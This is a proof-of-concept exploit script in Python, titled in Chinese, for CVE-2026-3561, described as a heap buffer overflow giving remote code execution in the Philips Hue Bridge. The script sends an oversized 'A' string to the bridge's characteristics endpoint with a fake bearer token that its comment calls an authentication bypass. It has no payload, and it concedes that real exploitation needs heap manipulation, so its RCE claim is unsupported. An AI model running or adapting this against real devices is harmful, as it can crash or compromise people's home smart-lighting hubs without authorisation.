CVE-2026-3561 Philips Hue Bridge堆缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2026-3561 PoC - Philips Hue Bridge Heap Buffer Overflow RCE # This PoC demonstrates the heap buffer overflow in hk_hap characteristics endpoint import requests import json import struct TARGET_IP = "192.168.1.100" # Target Philips Hue Bridge IP TARGET_PORT = 80 def create_malicious_payload(): """Create payload that triggers heap buffer overflow""" # Overflow payload - sends data exceeding buffer size # The actual exploitation requires specific heap layout manipulation overflow_size = 1024 # Larger than expected buffer payload = { "characteristics": [ { "aid": 1, "iid": 8, "value": "A" * overflow_size # Overflow data } ] } return payload def exploit_cve_2026_3561(): """Attempt exploitation of CVE-2026-3561""" url = f"http://{TARGET_IP}:{TARGET_PORT}/characteristics" headers = { "Content-Type": "application/hap+json", "Authorization": "Bearer manipulated_token" # Bypass authentication } payload = create_malicious_payload() try: response = requests.put(url, json=payload, headers=headers, timeout=10) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") if __name__ == "__main__": print("CVE-2026-3561 PoC - Philips Hue Bridge Heap Buffer Overflow") print("Target: Philips Hue Bridge") print("Vulnerability: Heap-based buffer overflow in characteristics endpoint") exploit_cve_2026_3561()